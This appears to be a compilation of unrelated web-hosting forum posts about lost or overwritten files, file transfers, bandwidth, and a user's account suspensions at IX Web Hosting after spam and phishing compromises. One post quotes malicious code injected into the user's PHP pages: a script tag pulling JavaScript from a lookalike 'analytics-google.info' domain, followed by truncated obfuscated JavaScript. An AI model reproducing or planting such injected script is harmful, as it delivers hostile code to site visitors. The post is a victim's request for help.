Flakey Host : Files Get Overwritten With 0 Bytes Sometimes
Sep 28, 2009
I use a linex hosting service from streamline.net
I occasionally get a problem where data gets wiped (not good!).
It's a Perl scripted website with a flat file system.
Once this happened when I tried to manually edit some data txt files on the ftp, my changes would not save, instead it wrote a 0 bytes file. I tried to upload a new file instead but still the same (it wouldn't upload them but brought up no errors and appeared to upload fine, except still a 0 byte file was there). About fifteen minutes later I was able to save/edit/upload files properly again.
I believe a similar thing happened when a member submit a post. It didn't write the post and it wiped the files related to it (that also get opened and written to in the process of submitting a post, namely their member data file and the category data file).
I back up my website 4 times a day (even tho I don't have many members yet) because I'm paranoid about this happening now. I'm scared to promote the website because I don't feel that it's stable enough to cope.
Is this a known issue with hosting? anything I can do or suggest to my hosting company for them to ensure that this doesn't happen in the future?
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Sep 3, 2007
I use Filezilla with 2 different reputable webhosting companies here in Australia. Im often uploading downloading entire sites, hundreds of files, 4-10 meg woth of download/upload.
Seems like half the time the server times out of filezilla just gives up and I have to try and pause unpause and reprocess the queue. Very frustrating, is this a normal experience? Perhaps my host companies arent as reputable as I think they are?
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i have about three VPSes right now. They are all unmetered (with shared bandwidth).
I am now looking to go on a SINGLE dedicated server with 10mbps unmetered becuuse I want to reduce hassles to managing three VPSes
My peak time usage is shown by this graph ( for each VPS):
[url]
(so this multiplied by 3 is what the new server must be capable of handling)
Now, my query is that:
1. Exactly what speed bandwidth am I using accrding to that image? Is that 12megabytes per second or is that 12 megaBITS per second. Because if it is 12Megabits, then the actual bandwidth speed that I am using would be around 12/8 = 1.5MBPS. ?
2. I think your first question reply would answer this but I will still confirm: will a 10mbps unmetered server be able to handle this kind of bandwidth usage? remember that the graph is only for a single VPS. There are two more VPSes using the same bandwidth at the same time.
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Probably a cron file is updating one of my files every night. Then normally the script is not working, script owner is not responding my emails. So any ways to protect the file for being overwritten.
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I have VPS with centos 5.3 installed ..
i tried to unzip zipped file of 5 gb but i got error
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From the SSH i use unzip filename.zip
i do have enoght space more than 30GB ..
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For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.
At random times, the code in these php pages gets replaced by something like:
HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>
Here's some debugging I have done.
1) If I rename login.php to say, log-in.php, the page gets saved from this
2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.
So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.
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I'm trying to send email from a domain using code like this:
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998
[root@web48002 admin]# grep ' certificate verification failed for' /usr/local/psa/var/log/maillog | head
Aug 19 00:04:45 web48002 postfix/smtp[28115]: certificate verification failed for inbound.hsaforamerica.com.netsolmail.net[206.188.198.64]:25: untrusted issuer /C=US/O=Equifax/OU=Equifax Secure Certificate Authority
[Code] ....
How/where do we edit our CA file under Postfix - and why is the standard one installed by PPA not including some of these VERY MAJOR CAs?!?
I would like instructions on how to edit this in a manner that it will not get overwritten by some PPA update or yum update.
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how bad is it for a host to delete a file and not tell you that they deleted it?
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Whilst Dreamhost offers a whole suite of access to their servers, Servage only offers FTP (no SFTP, no SCP, no SSH, no RSYNC). Servage also don't give any ability to create a tar.gz of my files (I tried to use a Perl script to execute a shell command to tar my files, but it didn't work )
So currently the only way I can see to get the files across to Dreamhost is to use the ftp command (via SSH on Dreamhost), but this command is severely limiting because mget can't transfer directories - it can only transfer files in a directory.
Can anyone see an easy way for me to get all files across to my new host?
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I've been asking a fair few question lately here on WHT. You've all been a great help so far. I just ordered two new servers from www.northstorm.net. I want to take all my video files from my previous host, and transfer them over to my new host. There's roughly 100 files which is a total of about 8GB. I have a php script which can copy the files manually, one by one, but that's the last resort as I'm not very keen on that idea.
I have root access to both servers so I can pretty much do what I want with them. What's the best way to grab the entire contants of a ftp folder and transfer it over? I need to copy the files from my old host to one of my new servers, and then copy the files between my two new dedicated servers.
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Hi guys, I've been having problems trying to edit my php.ini file which I think I've now fixed.
The whole reason I wanted to do this was because I've just moved to Media Temple from another hosting company and I'm having a couple of problems with the switchover.
Basically I use a CMS system to add properties which appear on the main website. I also upload PDFs and images. On the old hosting company, the PDFs and images went into folders called dnDir/pdf and dnDir/images but on Media Temple, they are going in to a folder called tmp. I really want them to go to the same place as they used to.
Is this an issue with php.ini that I need to rectify? If so, could you point me in the right direction?
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Oct 13, 2009
So heres the short story:
1) I had a VPS account at [url](now hosting.com) for 2+ years.
2) My credit card expired so they suspended/disabled my account because they couldn't charge it.
3) I decided that I wanted to find a new host.
4) I asked for my files.
5) They said no because the account is disabled because of non-payment for 40+ days and that I'd need to pay the balance and then reactivate my account at the new pricing structure (which is $30+ more per month).
Is this even legal? Seems like extortion to me, but then again I am not a lawyer.
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Are there any big file hosting companies out there you've used or can at least recommend for this sort of thing?
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I have some 100's of MB's to move and I'm definitely not doing it by transferring it via my PC / FTP.
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I asked my host to migrate my account from a PHP4 to a PHP5 server which they did without question.
During the transfer they have lost a folder containing every product image my site sells, over 1000 different items.
I know I'm foolish not to have backed it up, but I didn't, I have all the photos but not after they're all been renamed and resized.
Basically, so far today - 24hrs, I have only had 2 orders when I normally get 60-70 a day.
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Nov 6, 2008
I signed up for hosting with IX Web Hosting in April of 2007. There have been two occasions that they provided the perfect example of Terrible Customer Service. So much so, my last pony ride with IX Web Hosting was my last. I decided to call it quits and move my account to Host Gator.
I keep my most important sites on a dedicated server at Servint.net. If you are interested in a dedicated server or VPS, I highly recommend Servint. You will not beat the level of service and professionalism this company offers. But thatâs another post in itself.
The point is, I had some SEO tests I wanted to perform and I was looking for a hosting company that would allow me to host 10 different domains in the same account on different ip addresses. IX Web Hosting had the plan I was looking for. So in April of 2007, I signed up for a hosting account.
Overall, I was pretty satisfied with the server performance at IX Hosting. I experienced very little if any downtime from server issues. They donât offer a standard cpanel interface like most web hosts. It appears to be a proprietary / in house control panel.
It was pretty straight forward and with a little time I was up to speed.
Then on June 5, 2008, I got the following email from a System Administrator at IX Web Hosting.
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Hello,
My name is Anthony, and I am a system administrator at IXWebhosting. Iâm here to ensure a reliable and fast hosting / e-mail environment. This is the reason why I ask you to get in touch with us.
We have received numerous complaints from third-parties about spam originating from your website. As you may know, spam is an on-going problem for all internet users, hence all companies have very strict rules against spam. I am here to ensure that neither you nor any other customer is facing any downsides which could be the result of these spam regulations.
We ask you to immediately cease and desist any such activities. If you are unaware of this activity, please contact me or any of my colleagues via this ticket, phone or live-chat so that we can find the reason for the spam activity together and fix the issue instead of the symptom. Viruses and things of that nature may be installed on your computer and will cause the spamming. We recommend that you run an anti-virus program. If you currently do not possess an anti-virus program, you may download a free version. Please just follow the link below to find Googleâs best links for free anti-virus software:
google.com/search?q=free+anti-virus+software [url]
In order to ensure your hosting and mail environment is working flawlessly, we ask you to get in touch with us within the next 72 hours. I highly appreciate your time.
Best Regards,
Anthony Washington
System Administrator
IXWebhosting
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They identified the domain as bestadtracking.com. This is a domain I own but have never promoted. Not only had I not sent spam through IX Web Hosting, I averaged less than 200 sent email a month on all the domains on my account. So on June 6, 2008 I responded to IX Web Hosting with the following two messages.
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Hi Anthony,
I can assure you I am not sending spam from this domain or any others. Iâm a little surprised that this domain is in question? I set it up over a year ago and havenât ever promoted it. I donât send any type of email over this domain. I have no reason to. It gets no traffic or inquiries.
Are you sure there isnât some type of mistake? Otherwise, there are a couple of php style contact forms on that site. Could a hacker use that sort of thing to send spam? How can we track this down?
Thanks,
Brent Crouch
615-389-XXXX
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Here is the second email I sent on the same day.
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Hi Anthony,
I am using AVG on my computer and the scan completed finding no viruses. Besides that, I am using Outlook to manage the mail on several of my domains. I donât even have a send account setup for bestadtracking.com on my computer. As I stated in the previous reply, I have no reason to since this domain is not promoted.
Can you give me the IP address of where the spam originates? Iâd like to compare that to my IP address here at home and office.
Thanks,
Brent Crouch
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I had no information to track the issue any further. The lack of response from IX Web Hosting left me to believe the issue had been resolved or there had been a mistake. Then 4 days later on June 10, 2008 I got this message.
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Brent
We tried to reach you today in order to resolve this issue, but unfortunately it has been well over 72 hours since this ticket was placed. We must sadly suspend your services, please do not hesitate to call us at 1-800-385-0450 any time, day or night.
Best Regards
Ian
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Amazing! They give me no information to solve this problem. On top of that, they donât respond to my ticket in 4 days and because I didnât answer the phone when they called they suspended not only the domain in question but every domain listed in my account.
I called in and spoke to a tech support guy who allowed me to remove the domain in question and in return, he restored my other domains. He also left a message to have the tech support manager call me the following day.
The manager I spoke to apologized for the way the ticket was handled and the lack of information that was given. He said he would follow up with the employees that were responsible for the ticket and make sure it never happened again. He was helpful in looking at the server logs and determining how someone had loaded a spam bot onto my site.
Apology accepted. Stuff happens. I considered it water under the bridge and not a big deal. Not so muchâ¦..
After my first run in with IX Web Hosting, I wrote the whole incident off as a fluke. The manager I spoke to seemed very sincere and assured me that wasnât proper protocol and wouldnât happen again. I was trucking right along until I got this email from them on October 26, 2008.
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Dear Brent Crouch,
We have received notification of phishing material in your account. Phishing files are usually placed through some type of exploit of out dated code, weak file and folder permissions. Packaged shopping carts and photo galleries are usual sources as hackers find exploits and developers fix them almost daily, so unless you constantly update the software or completely secure it things like this can happen.
You must agree to remove this content and update any software that has resulted in security holes. To protect your account from further action you must agree to our request for compliance. Please respond to this message stating your intent to do so. You may either log into your control panel with us, and access this ticket via the 24/7 help desk, or provide this ticket number to our Live Chat or phone representatives. Failure to respond to this message within 72 hours will result in the suspension of the affected domain with us until such a time as this matter is resolved.
Michael
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The email gave me no indication of which domain had been hacked. When I wrote to live help and gave them the ticket number, I spent 10 minutes waiting only to be told they didnât know which of my domains had been effected. They recommended I reply to the online support ticket.
Here is the email I sent them in response on October 27, 2008.
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I replied to live help and they could not find any information. So far you havenât told me which domain is a problem.
Please give me the info I need to correct this problem and Iâll take care of it.
Brent Crouch
615-389-XXXX
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Eight hours later, I was able to find the problem by viewing all the files on my domains and looking for the files that had been recently changed. It turned out my brentcrouch.com domain had been hacked and setup with all sorts of eBay and bank phising pages. The site operates on a Wordpress platform which is widely used and is a big target for hackers.
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I wrote back to IX Web Hosting for a second time on October 27, 2008.
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I found the problem on my brentcrouch.com domain. I updated the wordpress software to the latest and cleaned up the problem. The only exception is the brentcrouch.com/forum directory. I am unable to delete this directory as the hacker has removed my access. Please delete the directory.
Thanks,
Brent Crouch
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The following day, here is the email I got back from IX Web Hosting.
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Brent:
Thank you for your attention to this matter. Per your request we have removed:
/brentcrouch.com/forum - deleted
We will be closing this ticket at this time. If you have any questions please feel free to contact us. We will be happy to assist.
Please note that this is the second time this problem occurred. Unfortunately, I have to bring to your attention that as per our terms of service a third instance will result in immediate account termination without notice. No backups will be provided. If you have any questions about how to avoid this from happening again our support team will be glad to advise.
Respectfully
Frankie
Support Tech Representative
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When I seen that response, I was pissed! I run my own server at Servint.net. Iâve hosting accounts at several other hosting companies. Iâve never had a site hacked except from IX Web Hosting.
In 4 months, Iâve had two sites hacked. In both instances, IX Hosting was zero help in locating the source of the problem. In the first incident, they didnât even reply to my ticket for 4 days. In the latest incident, they couldnât even tell me what domain was hacked.
Then they send me an email telling me if it happens again not only will they suspend my account, theyâll deny me access to my files! Huh?
Thatâs not a risk Iâm willing to take. With the high costs of obtaining customerâs in this business, Iâm a little surprised they donât do a better job of trying to retain them. In my opinion, this policy is unacceptable and makes IX Web Hosting one of the worst hosts Iâve ever dealt with.
I just signed up for a hosting account with Host Gator and have already moved all my domains over. So far, so good.
Whatâs your experience with IX Web Hosting?
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